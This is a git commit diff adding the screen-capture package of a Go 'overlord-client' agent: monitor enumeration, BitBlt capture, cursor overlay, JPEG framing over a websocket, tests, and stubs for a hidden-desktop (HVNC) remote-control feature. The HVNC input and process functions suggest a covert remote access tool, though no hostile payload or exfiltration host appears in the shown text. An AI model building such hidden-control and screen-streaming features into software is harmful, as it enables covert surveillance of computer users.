inital commit

This commit is contained in:
KingKDot
2026-03-05 00:04:26 -06:00
commit f8515a2883
269 changed files with 47081 additions and 0 deletions
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,13 @@
//go:build linux
package capture
import (
"image"
)
var activeDisplays = func() int { return 0 }
var captureDisplayFn = func(int) (*image.RGBA, error) { return nil, nil }
func displayCount() int { return 0 }
@@ -0,0 +1,17 @@
//go:build windows
package capture
import "image"
func CaptureDisplayRGBABitBlt(display int) (*image.RGBA, error) {
return captureDisplayBitBlt(display)
}
func CaptureDisplayRGBAPreferBitBlt(display int) (*image.RGBA, error) {
img, err := captureDisplayBitBlt(display)
if err == nil && img != nil {
return img, nil
}
return CaptureDisplayRGBA(display)
}
@@ -0,0 +1,434 @@
package capture
import (
"bytes"
"context"
"image"
"image/color"
"image/jpeg"
"testing"
"time"
"overlord-client/cmd/agent/config"
rt "overlord-client/cmd/agent/runtime"
"overlord-client/cmd/agent/wire"
"github.com/vmihailenco/msgpack/v5"
"nhooyr.io/websocket"
)
type recordingWriter struct {
msgs [][]byte
types []websocket.MessageType
}
func (w *recordingWriter) Write(ctx context.Context, messageType websocket.MessageType, p []byte) error {
w.types = append(w.types, messageType)
w.msgs = append(w.msgs, append([]byte(nil), p...))
return nil
}
func TestCaptureAndSend_NoDisplays(t *testing.T) {
originalCount := activeDisplays
activeDisplays = func() int { return 0 }
t.Cleanup(func() { activeDisplays = originalCount })
writer := &recordingWriter{}
env := &rt.Env{Conn: writer, Cfg: config.Config{}}
if err := CaptureAndSend(context.Background(), env); err != nil {
t.Fatalf("expected nil error when no displays, got %v", err)
}
if len(writer.msgs) != 0 {
t.Fatalf("expected no messages when no displays, got %d", len(writer.msgs))
}
}
func TestCaptureAndSend_SendsFrame(t *testing.T) {
originalCount := activeDisplays
originalCapture := captureDisplayFn
activeDisplays = func() int { return 1 }
captureDisplayFn = func(displayIndex int) (*image.RGBA, error) {
img := image.NewRGBA(image.Rect(0, 0, 2, 2))
img.Set(0, 0, color.RGBA{R: 200, G: 10, B: 10, A: 255})
return img, nil
}
t.Cleanup(func() {
activeDisplays = originalCount
captureDisplayFn = originalCapture
})
writer := &recordingWriter{}
env := &rt.Env{Conn: writer, Cfg: config.Config{}}
if err := CaptureAndSend(context.Background(), env); err != nil {
t.Fatalf("CaptureAndSend returned error: %v", err)
}
if len(writer.msgs) != 1 {
t.Fatalf("expected one message written, got %d", len(writer.msgs))
}
var frame wire.Frame
if err := msgpack.Unmarshal(writer.msgs[0], &frame); err != nil {
t.Fatalf("decode frame: %v", err)
}
if frame.Type != "frame" {
t.Fatalf("unexpected frame type: %s", frame.Type)
}
if frame.Header.Format != "jpeg" {
t.Fatalf("unexpected frame format: %s", frame.Header.Format)
}
if len(frame.Data) == 0 {
t.Fatalf("expected jpeg data to be present")
}
if _, err := jpeg.Decode(bytes.NewReader(frame.Data)); err != nil {
t.Fatalf("jpeg payload did not decode: %v", err)
}
}
func TestActualScreenCapture(t *testing.T) {
displayCount := safeDisplayCount()
if displayCount == 0 {
t.Log("WARNING: No displays detected, skipping real screen capture test")
return
}
t.Logf("Testing screen capture with %d display(s)", displayCount)
img, err := safeCaptureDisplay(0)
if err != nil {
t.Logf("WARNING: Failed to capture display 0: %v", err)
return
}
if img == nil {
t.Log("WARNING: Capture returned nil image")
return
}
bounds := img.Bounds()
if bounds.Dx() <= 0 || bounds.Dy() <= 0 {
t.Errorf("Invalid image dimensions: %dx%d", bounds.Dx(), bounds.Dy())
return
}
t.Logf("Successfully captured %dx%d image from display 0", bounds.Dx(), bounds.Dy())
hasVariation := false
firstPixel := img.RGBAAt(0, 0)
for y := 0; y < bounds.Dy() && !hasVariation; y++ {
for x := 0; x < bounds.Dx(); x++ {
pixel := img.RGBAAt(x, y)
if pixel != firstPixel {
hasVariation = true
break
}
}
}
if !hasVariation {
t.Log("WARNING: Captured image appears to be solid color (may indicate capture issue)")
}
quality := jpegQuality()
frame, encodeDur, err := buildFrame(img, 0, quality)
if err != nil {
t.Errorf("Failed to build frame from captured image: %v", err)
return
}
t.Logf("Encoded frame: size=%d bytes, encode_time=%s, format=%s",
len(frame.Data), encodeDur, frame.Header.Format)
decodedImg, err := jpeg.Decode(bytes.NewReader(frame.Data))
if err != nil {
t.Errorf("Failed to decode JPEG frame: %v", err)
return
}
if decodedImg.Bounds().Dx() <= 0 || decodedImg.Bounds().Dy() <= 0 {
t.Errorf("Decoded image has invalid dimensions: %dx%d",
decodedImg.Bounds().Dx(), decodedImg.Bounds().Dy())
}
}
func TestMultipleDisplays(t *testing.T) {
displayCount := safeDisplayCount()
if displayCount == 0 {
t.Log("WARNING: No displays detected, skipping multi-display test")
return
}
if displayCount == 1 {
t.Log("Only one display detected, testing single display")
}
for i := 0; i < displayCount; i++ {
t.Run("Display"+string(rune('0'+i)), func(t *testing.T) {
img, err := safeCaptureDisplay(i)
if err != nil {
t.Logf("WARNING: Failed to capture display %d: %v", i, err)
return
}
if img == nil {
t.Logf("WARNING: Capture returned nil for display %d", i)
return
}
bounds := img.Bounds()
t.Logf("Display %d: %dx%d", i, bounds.Dx(), bounds.Dy())
if bounds.Dx() <= 0 || bounds.Dy() <= 0 {
t.Errorf("Display %d has invalid dimensions", i)
}
})
}
}
func TestSupportsCapture(t *testing.T) {
hasDisplays := supportsCapture()
displayCount := safeDisplayCount()
if hasDisplays && displayCount == 0 {
t.Error("supportsCapture returned true but displayCount is 0")
}
if !hasDisplays && displayCount > 0 {
t.Error("supportsCapture returned false but displayCount > 0")
}
t.Logf("Capture support: %v (displays: %d)", hasDisplays, displayCount)
}
func TestCaptureWithDifferentDisplayIndices(t *testing.T) {
displayCount := safeDisplayCount()
if displayCount == 0 {
t.Skip("No displays available")
}
tests := []struct {
name string
index int
valid bool
}{
{"ValidFirst", 0, true},
{"ValidLast", displayCount - 1, true},
{"InvalidNegative", -1, false},
{"InvalidTooHigh", displayCount + 10, false},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
img, err := safeCaptureDisplay(tt.index)
if tt.valid {
if err != nil {
t.Errorf("Expected valid capture, got error: %v", err)
}
if img == nil {
t.Error("Expected image, got nil")
}
} else {
if img != nil && err == nil {
t.Logf("WARNING: Invalid index %d returned image instead of error", tt.index)
}
}
})
}
}
func TestFrameFPS(t *testing.T) {
resetStats()
for i := 0; i < 10; i++ {
statFrames.Add(1)
}
fps := frameFPS(time.Now())
if fps < 0 {
t.Errorf("FPS should not be negative, got %d", fps)
}
t.Logf("Calculated FPS: %d", fps)
}
func TestJPEGQuality(t *testing.T) {
quality := jpegQuality()
if quality < 1 || quality > 100 {
t.Errorf("JPEG quality out of range: %d (expected 1-100)", quality)
}
t.Logf("JPEG quality: %d", quality)
}
func TestCaptureAndSend_DisplayOutOfRange(t *testing.T) {
originalCount := activeDisplays
originalCapture := captureDisplayFn
activeDisplays = func() int { return 2 }
capturedDisplay := -1
captureDisplayFn = func(displayIndex int) (*image.RGBA, error) {
capturedDisplay = displayIndex
img := image.NewRGBA(image.Rect(0, 0, 2, 2))
return img, nil
}
t.Cleanup(func() {
activeDisplays = originalCount
captureDisplayFn = originalCapture
})
tests := []struct {
name string
selectedDisplay int
expectedDisplay int
}{
{"NegativeDisplay", -1, 0},
{"TooHighDisplay", 10, 0},
{"ValidDisplay", 1, 1},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
capturedDisplay = -1
writer := &recordingWriter{}
env := &rt.Env{
Conn: writer,
Cfg: config.Config{},
SelectedDisplay: tt.selectedDisplay,
}
if err := CaptureAndSend(context.Background(), env); err != nil {
t.Fatalf("CaptureAndSend failed: %v", err)
}
if capturedDisplay != tt.expectedDisplay {
t.Errorf("expected capture from display %d, got %d", tt.expectedDisplay, capturedDisplay)
}
if len(writer.msgs) != 1 {
t.Errorf("expected 1 message, got %d", len(writer.msgs))
}
})
}
}
func TestNow_DisableCapture(t *testing.T) {
writer := &recordingWriter{}
env := &rt.Env{
Conn: writer,
Cfg: config.Config{DisableCapture: true},
}
if err := Now(context.Background(), env); err != nil {
t.Fatalf("Now with DisableCapture failed: %v", err)
}
if len(writer.msgs) != 1 {
t.Fatalf("expected 1 black frame message, got %d", len(writer.msgs))
}
var frame wire.Frame
if err := msgpack.Unmarshal(writer.msgs[0], &frame); err != nil {
t.Fatalf("failed to decode frame: %v", err)
}
if frame.Type != "frame" {
t.Errorf("expected frame type 'frame', got '%s'", frame.Type)
}
img, err := jpeg.Decode(bytes.NewReader(frame.Data))
if err != nil {
t.Fatalf("failed to decode JPEG: %v", err)
}
bounds := img.Bounds()
if bounds.Dx() != 64 || bounds.Dy() != 64 {
t.Errorf("expected 64x64 black frame, got %dx%d", bounds.Dx(), bounds.Dy())
}
}
func TestNow_NoDisplays(t *testing.T) {
originalCount := activeDisplays
activeDisplays = func() int { return 0 }
t.Cleanup(func() { activeDisplays = originalCount })
writer := &recordingWriter{}
env := &rt.Env{Conn: writer, Cfg: config.Config{}}
if err := Now(context.Background(), env); err != nil {
t.Fatalf("Now with no displays failed: %v", err)
}
if len(writer.msgs) != 0 {
t.Errorf("expected no messages when no displays, got %d", len(writer.msgs))
}
}
func TestNow_Success(t *testing.T) {
originalCount := activeDisplays
originalCapture := captureDisplayFn
activeDisplays = func() int { return 1 }
captureDisplayFn = func(displayIndex int) (*image.RGBA, error) {
img := image.NewRGBA(image.Rect(0, 0, 4, 4))
return img, nil
}
t.Cleanup(func() {
activeDisplays = originalCount
captureDisplayFn = originalCapture
})
writer := &recordingWriter{}
env := &rt.Env{Conn: writer, Cfg: config.Config{}}
if err := Now(context.Background(), env); err != nil {
t.Fatalf("Now failed: %v", err)
}
if len(writer.msgs) != 1 {
t.Fatalf("expected 1 message, got %d", len(writer.msgs))
}
var frame wire.Frame
if err := msgpack.Unmarshal(writer.msgs[0], &frame); err != nil {
t.Fatalf("failed to decode frame: %v", err)
}
if frame.Type != "frame" {
t.Errorf("expected frame type 'frame', got '%s'", frame.Type)
}
}
func TestMonitorCount(t *testing.T) {
count := MonitorCount()
// no monitor means weird
if count < 1 {
t.Errorf("expected at least 1, got %d", count)
}
t.Logf("MonitorCount returned: %d", count)
}
func TestCaptureAndSend_CancelledContext(t *testing.T) {
originalCount := activeDisplays
originalCapture := captureDisplayFn
activeDisplays = func() int { return 1 }
captureDisplayFn = func(displayIndex int) (*image.RGBA, error) {
img := image.NewRGBA(image.Rect(0, 0, 2, 2))
return img, nil
}
t.Cleanup(func() {
activeDisplays = originalCount
captureDisplayFn = originalCapture
})
ctx, cancel := context.WithCancel(context.Background())
cancel() // fuck no
writer := &recordingWriter{}
env := &rt.Env{Conn: writer, Cfg: config.Config{}}
// SHOULD handle gracefully, may or may not send depending on timing :sob:
_ = CaptureAndSend(ctx, env)
}
@@ -0,0 +1,14 @@
//go:build !linux && !windows
package capture
import "github.com/kbinani/screenshot"
var (
activeDisplays = screenshot.NumActiveDisplays
captureDisplayFn = screenshot.CaptureDisplay
)
func displayCount() int {
return screenshot.NumActiveDisplays()
}
@@ -0,0 +1,5 @@
//go:build windows
package capture
var activeDisplays = displayCount
@@ -0,0 +1,13 @@
//go:build !windows
package capture
import (
"image"
)
func SetCursorCapture(enabled bool) {}
func DrawCursorOnImage(img *image.RGBA, captureBounds image.Rectangle) {
// if you're not windows fuck you
}
@@ -0,0 +1,245 @@
//go:build windows
package capture
import (
"image"
"image/color"
"sync/atomic"
"unsafe"
)
var (
cursorCaptureEnabled atomic.Bool
)
func SetCursorCapture(enabled bool) {
cursorCaptureEnabled.Store(enabled)
}
var (
procGetCursorPos = user32.NewProc("GetCursorPos")
procGetCursorInfo = user32.NewProc("GetCursorInfo")
procGetIconInfo = user32.NewProc("GetIconInfo")
procDrawIconEx = user32.NewProc("DrawIconEx")
)
const (
CURSOR_SHOWING = 0x00000001
DI_NORMAL = 0x0003
DI_DEFAULTSIZE = 0x0008
)
type point struct {
x int32
y int32
}
type cursorInfo struct {
cbSize uint32
flags uint32
hCursor uintptr
ptScreenPos point
}
type iconInfo struct {
fIcon uint32
xHotspot uint32
yHotspot uint32
hbmMask uintptr
hbmColor uintptr
}
func getCursorPosition() (x, y int32, visible bool) {
var ci cursorInfo
ci.cbSize = uint32(unsafe.Sizeof(ci))
ret, _, _ := procGetCursorInfo.Call(uintptr(unsafe.Pointer(&ci)))
if ret == 0 {
return 0, 0, false
}
visible = (ci.flags & CURSOR_SHOWING) != 0
return ci.ptScreenPos.x, ci.ptScreenPos.y, visible
}
func drawCursor(img *image.RGBA, cursorX, cursorY int32, bounds image.Rectangle) {
imgX := int(cursorX) - bounds.Min.X
imgY := int(cursorY) - bounds.Min.Y
if imgX < 0 || imgY < 0 || imgX >= img.Bounds().Dx() || imgY >= img.Bounds().Dy() {
return
}
cursorPattern := []struct {
x, y int
c color.RGBA
}{
{0, 0, color.RGBA{0, 0, 0, 255}},
{0, 1, color.RGBA{0, 0, 0, 255}},
{0, 2, color.RGBA{0, 0, 0, 255}},
{0, 3, color.RGBA{0, 0, 0, 255}},
{0, 4, color.RGBA{0, 0, 0, 255}},
{0, 5, color.RGBA{0, 0, 0, 255}},
{0, 6, color.RGBA{0, 0, 0, 255}},
{0, 7, color.RGBA{0, 0, 0, 255}},
{0, 8, color.RGBA{0, 0, 0, 255}},
{0, 9, color.RGBA{0, 0, 0, 255}},
{0, 10, color.RGBA{0, 0, 0, 255}},
{0, 11, color.RGBA{0, 0, 0, 255}},
{1, 0, color.RGBA{0, 0, 0, 255}},
{1, 10, color.RGBA{0, 0, 0, 255}},
{2, 0, color.RGBA{0, 0, 0, 255}},
{2, 9, color.RGBA{0, 0, 0, 255}},
{3, 0, color.RGBA{0, 0, 0, 255}},
{3, 8, color.RGBA{0, 0, 0, 255}},
{3, 9, color.RGBA{0, 0, 0, 255}},
{4, 0, color.RGBA{0, 0, 0, 255}},
{4, 7, color.RGBA{0, 0, 0, 255}},
{4, 8, color.RGBA{0, 0, 0, 255}},
{5, 0, color.RGBA{0, 0, 0, 255}},
{5, 6, color.RGBA{0, 0, 0, 255}},
{5, 7, color.RGBA{0, 0, 0, 255}},
{5, 13, color.RGBA{0, 0, 0, 255}},
{6, 0, color.RGBA{0, 0, 0, 255}},
{6, 5, color.RGBA{0, 0, 0, 255}},
{6, 6, color.RGBA{0, 0, 0, 255}},
{6, 12, color.RGBA{0, 0, 0, 255}},
{6, 13, color.RGBA{0, 0, 0, 255}},
{7, 0, color.RGBA{0, 0, 0, 255}},
{7, 4, color.RGBA{0, 0, 0, 255}},
{7, 5, color.RGBA{0, 0, 0, 255}},
{7, 11, color.RGBA{0, 0, 0, 255}},
{7, 12, color.RGBA{0, 0, 0, 255}},
{8, 4, color.RGBA{0, 0, 0, 255}},
{8, 10, color.RGBA{0, 0, 0, 255}},
{8, 11, color.RGBA{0, 0, 0, 255}},
{9, 4, color.RGBA{0, 0, 0, 255}},
{9, 9, color.RGBA{0, 0, 0, 255}},
{9, 10, color.RGBA{0, 0, 0, 255}},
{10, 8, color.RGBA{0, 0, 0, 255}},
{10, 9, color.RGBA{0, 0, 0, 255}},
{11, 7, color.RGBA{0, 0, 0, 255}},
{11, 8, color.RGBA{0, 0, 0, 255}},
{12, 6, color.RGBA{0, 0, 0, 255}},
{12, 7, color.RGBA{0, 0, 0, 255}},
{1, 1, color.RGBA{255, 255, 255, 255}},
{1, 2, color.RGBA{255, 255, 255, 255}},
{1, 3, color.RGBA{255, 255, 255, 255}},
{1, 4, color.RGBA{255, 255, 255, 255}},
{1, 5, color.RGBA{255, 255, 255, 255}},
{1, 6, color.RGBA{255, 255, 255, 255}},
{1, 7, color.RGBA{255, 255, 255, 255}},
{1, 8, color.RGBA{255, 255, 255, 255}},
{1, 9, color.RGBA{255, 255, 255, 255}},
{2, 1, color.RGBA{255, 255, 255, 255}},
{2, 2, color.RGBA{255, 255, 255, 255}},
{2, 3, color.RGBA{255, 255, 255, 255}},
{2, 4, color.RGBA{255, 255, 255, 255}},
{2, 5, color.RGBA{255, 255, 255, 255}},
{2, 6, color.RGBA{255, 255, 255, 255}},
{2, 7, color.RGBA{255, 255, 255, 255}},
{2, 8, color.RGBA{255, 255, 255, 255}},
{3, 1, color.RGBA{255, 255, 255, 255}},
{3, 2, color.RGBA{255, 255, 255, 255}},
{3, 3, color.RGBA{255, 255, 255, 255}},
{3, 4, color.RGBA{255, 255, 255, 255}},
{3, 5, color.RGBA{255, 255, 255, 255}},
{3, 6, color.RGBA{255, 255, 255, 255}},
{3, 7, color.RGBA{255, 255, 255, 255}},
{4, 1, color.RGBA{255, 255, 255, 255}},
{4, 2, color.RGBA{255, 255, 255, 255}},
{4, 3, color.RGBA{255, 255, 255, 255}},
{4, 4, color.RGBA{255, 255, 255, 255}},
{4, 5, color.RGBA{255, 255, 255, 255}},
{4, 6, color.RGBA{255, 255, 255, 255}},
{5, 1, color.RGBA{255, 255, 255, 255}},
{5, 2, color.RGBA{255, 255, 255, 255}},
{5, 3, color.RGBA{255, 255, 255, 255}},
{5, 4, color.RGBA{255, 255, 255, 255}},
{5, 5, color.RGBA{255, 255, 255, 255}},
{5, 11, color.RGBA{255, 255, 255, 255}},
{5, 12, color.RGBA{255, 255, 255, 255}},
{6, 1, color.RGBA{255, 255, 255, 255}},
{6, 2, color.RGBA{255, 255, 255, 255}},
{6, 3, color.RGBA{255, 255, 255, 255}},
{6, 4, color.RGBA{255, 255, 255, 255}},
{6, 10, color.RGBA{255, 255, 255, 255}},
{6, 11, color.RGBA{255, 255, 255, 255}},
{7, 1, color.RGBA{255, 255, 255, 255}},
{7, 2, color.RGBA{255, 255, 255, 255}},
{7, 3, color.RGBA{255, 255, 255, 255}},
{7, 9, color.RGBA{255, 255, 255, 255}},
{7, 10, color.RGBA{255, 255, 255, 255}},
{8, 5, color.RGBA{255, 255, 255, 255}},
{8, 6, color.RGBA{255, 255, 255, 255}},
{8, 7, color.RGBA{255, 255, 255, 255}},
{8, 8, color.RGBA{255, 255, 255, 255}},
{8, 9, color.RGBA{255, 255, 255, 255}},
{9, 5, color.RGBA{255, 255, 255, 255}},
{9, 6, color.RGBA{255, 255, 255, 255}},
{9, 7, color.RGBA{255, 255, 255, 255}},
{9, 8, color.RGBA{255, 255, 255, 255}},
{10, 6, color.RGBA{255, 255, 255, 255}},
{10, 7, color.RGBA{255, 255, 255, 255}},
{11, 6, color.RGBA{255, 255, 255, 255}},
}
for _, p := range cursorPattern {
px := imgX + p.x
py := imgY + p.y
if px >= 0 && px < img.Bounds().Dx() && py >= 0 && py < img.Bounds().Dy() {
img.SetRGBA(px, py, p.c)
}
}
}
func DrawCursorOnDC(hdc uintptr, captureBounds image.Rectangle) bool {
if !cursorCaptureEnabled.Load() || hdc == 0 {
return false
}
var ci cursorInfo
ci.cbSize = uint32(unsafe.Sizeof(ci))
ret, _, _ := procGetCursorInfo.Call(uintptr(unsafe.Pointer(&ci)))
if ret == 0 || (ci.flags&CURSOR_SHOWING) == 0 || ci.hCursor == 0 {
return false
}
var icon iconInfo
ret, _, _ = procGetIconInfo.Call(ci.hCursor, uintptr(unsafe.Pointer(&icon)))
if ret == 0 {
return false
}
if icon.hbmMask != 0 {
defer deleteObject(icon.hbmMask)
}
if icon.hbmColor != 0 {
defer deleteObject(icon.hbmColor)
}
x := int32(ci.ptScreenPos.x) - int32(captureBounds.Min.X) - int32(icon.xHotspot)
y := int32(ci.ptScreenPos.y) - int32(captureBounds.Min.Y) - int32(icon.yHotspot)
ret, _, _ = procDrawIconEx.Call(
hdc,
uintptr(x),
uintptr(y),
ci.hCursor,
0,
0,
0,
0,
uintptr(DI_NORMAL),
)
return ret != 0
}
func DrawCursorOnImage(img *image.RGBA, captureBounds image.Rectangle) {
if !cursorCaptureEnabled.Load() {
return
}
x, y, visible := getCursorPosition()
if visible {
drawCursor(img, x, y, captureBounds)
}
}
@@ -0,0 +1,5 @@
//go:build !windows
package capture
func SetDesktopDuplication(enabled bool) {}
@@ -0,0 +1,52 @@
//go:build !windows
package capture
import (
"errors"
"image"
)
func InitializeHVNCDesktop() error {
return errors.New("HVNC not supported on this platform")
}
func CleanupHVNCDesktop() {}
func SetHVNCCursorCapture(enabled bool) {}
func hvncCaptureDisplay(display int) (*image.RGBA, error) {
return nil, errors.New("HVNC not supported on this platform")
}
func HVNCMonitorCount() int {
return 0
}
func StartHVNCProcess(filePath string) error {
return errors.New("HVNC not supported on this platform")
}
func HVNCInputMouseMove(display int, x, y int32) error {
return errors.New("HVNC not supported on this platform")
}
func HVNCInputMouseDown(button int) error {
return errors.New("HVNC not supported on this platform")
}
func HVNCInputMouseUp(button int) error {
return errors.New("HVNC not supported on this platform")
}
func HVNCInputKeyDown(vk uint16) error {
return errors.New("HVNC not supported on this platform")
}
func HVNCInputKeyUp(vk uint16) error {
return errors.New("HVNC not supported on this platform")
}
func HVNCInputMouseWheel(delta int32) error {
return errors.New("HVNC not supported on this platform")
}
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,16 @@
package capture
import (
"bytes"
"image"
"image/jpeg"
)
func encodeJPEG(img image.Image, quality int) ([]byte, error) {
buf := bytes.Buffer{}
err := jpeg.Encode(&buf, img, &jpeg.Options{Quality: quality})
if err != nil {
return nil, err
}
return buf.Bytes(), nil
}
@@ -0,0 +1,23 @@
//go:build turbojpeg
package capture
import (
"bytes"
"image"
ljpeg "github.com/pixiv/go-libjpeg/jpeg"
)
func encodeJPEG(img image.Image, quality int) ([]byte, error) {
opts := &ljpeg.EncoderOptions{
Quality: quality,
OptimizeCoding: true,
DCTMethod: ljpeg.DCTISlow,
}
buf := bytes.Buffer{}
if err := ljpeg.Encode(&buf, img, opts); err != nil {
return nil, err
}
return buf.Bytes(), nil
}
@@ -0,0 +1,16 @@
package capture
import "image"
type MonitorInfo struct {
Width int `msgpack:"width"`
Height int `msgpack:"height"`
}
func DisplayBounds(idx int) image.Rectangle {
return displayBounds(idx)
}
func DisplayScale(idx int) float64 {
return displayScale(idx)
}
@@ -0,0 +1,5 @@
//go:build !windows
package capture
func ResetMonitorCache() {}
@@ -0,0 +1,17 @@
//go:build !windows
package capture
import "image"
func displayBounds(idx int) image.Rectangle {
return image.Rectangle{}
}
func displayScale(idx int) float64 {
return 1.0
}
func MonitorInfos() []MonitorInfo {
return nil
}
@@ -0,0 +1,278 @@
//go:build windows
package capture
import (
"image"
"log"
"sort"
"strconv"
"strings"
"sync"
"sync/atomic"
"syscall"
"time"
"unsafe"
"golang.org/x/sys/windows"
)
var (
procEnumDisplayMonitors = user32.NewProc("EnumDisplayMonitors")
procGetMonitorInfoW = user32.NewProc("GetMonitorInfoW")
procEnumDisplaySettingsW = user32.NewProc("EnumDisplaySettingsW")
)
type rect struct {
left int32
top int32
right int32
bottom int32
}
type monitorInfoEx struct {
cbSize uint32
rcMonitor rect
rcWork rect
dwFlags uint32
szDevice [32]uint16
}
type devMode struct {
dmDeviceName [32]uint16
dmSpecVersion uint16
dmDriverVersion uint16
dmSize uint16
dmDriverExtra uint16
dmFields uint32
dmPositionX int32
dmPositionY int32
dmDisplayOrientation uint32
dmDisplayFixedOutput uint32
dmColor int16
dmDuplex int16
dmYResolution int16
dmTTOption int16
dmCollate int16
dmFormName [32]uint16
dmLogPixels uint16
dmBitsPerPel uint32
dmPelsWidth uint32
dmPelsHeight uint32
dmDisplayFlags uint32
dmDisplayFrequency uint32
dmICMMethod uint32
dmICMIntent uint32
dmMediaType uint32
dmDitherType uint32
dmReserved1 uint32
dmReserved2 uint32
dmPanningWidth uint32
dmPanningHeight uint32
}
const (
monitorInfofPrimary = 1
enumCurrentSettings = 0xFFFFFFFF
)
type monitorDesc struct {
name string
rect image.Rectangle
workRect image.Rectangle
primary bool
physW int
physH int
scale float64
posX int
posY int
}
var (
monitorsCache atomic.Value
monitorsMu sync.Mutex
monitorsTs int64
)
func displayCount() int {
setDPIAware()
return len(monitorList())
}
func displayBounds(idx int) image.Rectangle {
mons := monitorList()
if idx >= 0 && idx < len(mons) {
return mons[idx].rect
}
if len(mons) > 0 {
return mons[0].rect
}
w := int(getSystemMetric(SM_CXSCREEN))
h := int(getSystemMetric(SM_CYSCREEN))
return image.Rect(0, 0, w, h)
}
func displayScale(idx int) float64 {
mons := monitorList()
if idx >= 0 && idx < len(mons) {
if mons[idx].scale > 0 {
return mons[idx].scale
}
}
return 1.0
}
func monitorList() []monitorDesc {
setDPIAware()
if v, ok := monitorsCache.Load().([]monitorDesc); ok && len(v) > 0 && time.Since(time.Unix(0, monitorsTs)) < 30*time.Second {
return v
}
monitorsMu.Lock()
defer monitorsMu.Unlock()
if v, ok := monitorsCache.Load().([]monitorDesc); ok && len(v) > 0 && time.Since(time.Unix(0, monitorsTs)) < 30*time.Second {
return v
}
mons := enumerateMonitors()
monitorsCache.Store(mons)
monitorsTs = time.Now().UnixNano()
logMonitors(mons)
return mons
}
func ResetMonitorCache() {
monitorsMu.Lock()
defer monitorsMu.Unlock()
monitorsCache.Store([]monitorDesc{})
monitorsTs = 0
}
func enumerateMonitors() []monitorDesc {
var result []monitorDesc
cb := syscall.NewCallback(func(hMonitor, hdc, lprcMonitor, lparam uintptr) uintptr {
var mi monitorInfoEx
mi.cbSize = uint32(unsafe.Sizeof(mi))
if ret, _, _ := procGetMonitorInfoW.Call(hMonitor, uintptr(unsafe.Pointer(&mi))); ret == 0 {
return 1
}
name := windows.UTF16ToString(mi.szDevice[:])
primary := mi.dwFlags&monitorInfofPrimary != 0
var dm devMode
dm.dmSize = uint16(unsafe.Sizeof(dm))
var physW, physH int
var scale float64 = 1.0
var posX, posY int
if ret, _, _ := procEnumDisplaySettingsW.Call(uintptr(unsafe.Pointer(&mi.szDevice[0])), enumCurrentSettings, uintptr(unsafe.Pointer(&dm))); ret != 0 {
physW = int(dm.dmPelsWidth)
physH = int(dm.dmPelsHeight)
posX = int(dm.dmPositionX)
posY = int(dm.dmPositionY)
vw := int(mi.rcMonitor.right - mi.rcMonitor.left)
if vw > 0 {
scale = float64(dm.dmPelsWidth) / float64(vw)
}
}
r := image.Rect(int(mi.rcMonitor.left), int(mi.rcMonitor.top), int(mi.rcMonitor.right), int(mi.rcMonitor.bottom))
w := image.Rect(int(mi.rcWork.left), int(mi.rcWork.top), int(mi.rcWork.right), int(mi.rcWork.bottom))
result = append(result, monitorDesc{
name: name,
rect: r,
workRect: w,
primary: primary,
physW: physW,
physH: physH,
scale: scale,
posX: posX,
posY: posY,
})
return 1
})
if ret, _, _ := procEnumDisplayMonitors.Call(0, 0, cb, 0); ret == 0 {
w := int(getSystemMetric(SM_CXSCREEN))
h := int(getSystemMetric(SM_CYSCREEN))
return []monitorDesc{{
name: "Primary",
rect: image.Rect(0, 0, w, h),
primary: true,
physW: w,
physH: h,
scale: 1.0,
}}
}
sort.Slice(result, func(i, j int) bool {
if result[i].primary != result[j].primary {
return result[i].primary
}
oi := deviceOrdinal(result[i].name)
oj := deviceOrdinal(result[j].name)
if oi >= 0 && oj >= 0 && oi != oj {
return oi < oj
}
if result[i].rect.Min.Y == result[j].rect.Min.Y {
return result[i].rect.Min.X < result[j].rect.Min.X
}
return result[i].rect.Min.Y < result[j].rect.Min.Y
})
return result
}
func deviceOrdinal(name string) int {
name = strings.TrimSpace(name)
end := len(name)
start := end
for start > 0 {
c := name[start-1]
if c < '0' || c > '9' {
break
}
start--
}
if start == end {
return -1
}
n, err := strconv.Atoi(name[start:end])
if err != nil {
return -1
}
return n
}
func logMonitors(mons []monitorDesc) {
log.Printf("capture: detected %d monitor(s)", len(mons))
for i, m := range mons {
log.Printf("capture: monitor %d name=%q primary=%v virtual=%v phys=%dx%d scale=%.2f pos=(%d,%d)", i, m.name, m.primary, m.rect, m.physW, m.physH, m.scale, m.posX, m.posY)
}
}
func MonitorInfos() []MonitorInfo {
mons := monitorList()
if len(mons) == 0 {
return nil
}
infos := make([]MonitorInfo, 0, len(mons))
for _, m := range mons {
w := m.rect.Dx()
h := m.rect.Dy()
if w < 0 {
w = 0
}
if h < 0 {
h = 0
}
infos = append(infos, MonitorInfo{Width: w, Height: h})
}
return infos
}
@@ -0,0 +1,56 @@
package capture
import (
"context"
"fmt"
"log"
"os"
"path/filepath"
"runtime"
"runtime/debug"
"time"
)
const crashLogFileName = "crashlogC.log"
func goSafe(label string, cancel context.CancelFunc, fn func()) {
go func() {
defer recoverAndLog(label, cancel)
fn()
}()
}
func recoverAndLog(label string, cancel context.CancelFunc) {
if r := recover(); r != nil {
reason := fmt.Sprintf("%s panic: %v", label, r)
stack := debug.Stack()
path := writeCrashLog(reason, stack)
log.Printf("[panic] %s (see %s)", reason, path)
if cancel != nil {
cancel()
}
}
}
func writeCrashLog(reason string, stack []byte) string {
dir := os.TempDir()
_ = os.MkdirAll(dir, 0700)
path := filepath.Join(dir, crashLogFileName)
file, err := os.OpenFile(path, os.O_CREATE|os.O_APPEND|os.O_WRONLY, 0600)
if err != nil {
log.Printf("[panic] failed to open crash log %s: %v", path, err)
return path
}
defer file.Close()
timestamp := time.Now().UTC().Format(time.RFC3339)
_, _ = fmt.Fprintf(file, "\n=== %s ===\n", timestamp)
_, _ = fmt.Fprintf(file, "GOOS=%s GOARCH=%s\n", runtime.GOOS, runtime.GOARCH)
_, _ = fmt.Fprintf(file, "Reason: %s\n", reason)
if len(stack) > 0 {
_, _ = fmt.Fprintf(file, "Stack:\n%s\n", string(stack))
}
return path
}
@@ -0,0 +1,5 @@
//go:build !windows
package capture
func ResetDesktopCapture() {}
@@ -0,0 +1,11 @@
//go:build windows
package capture
func ResetDesktopCapture() {
// Prevent freeing the DIB section while a BitBlt capture is in progress.
captureMu.Lock()
defer captureMu.Unlock()
state.reset()
dxgiState.reset()
}
@@ -0,0 +1,13 @@
//go:build !windows
package capture
import "image"
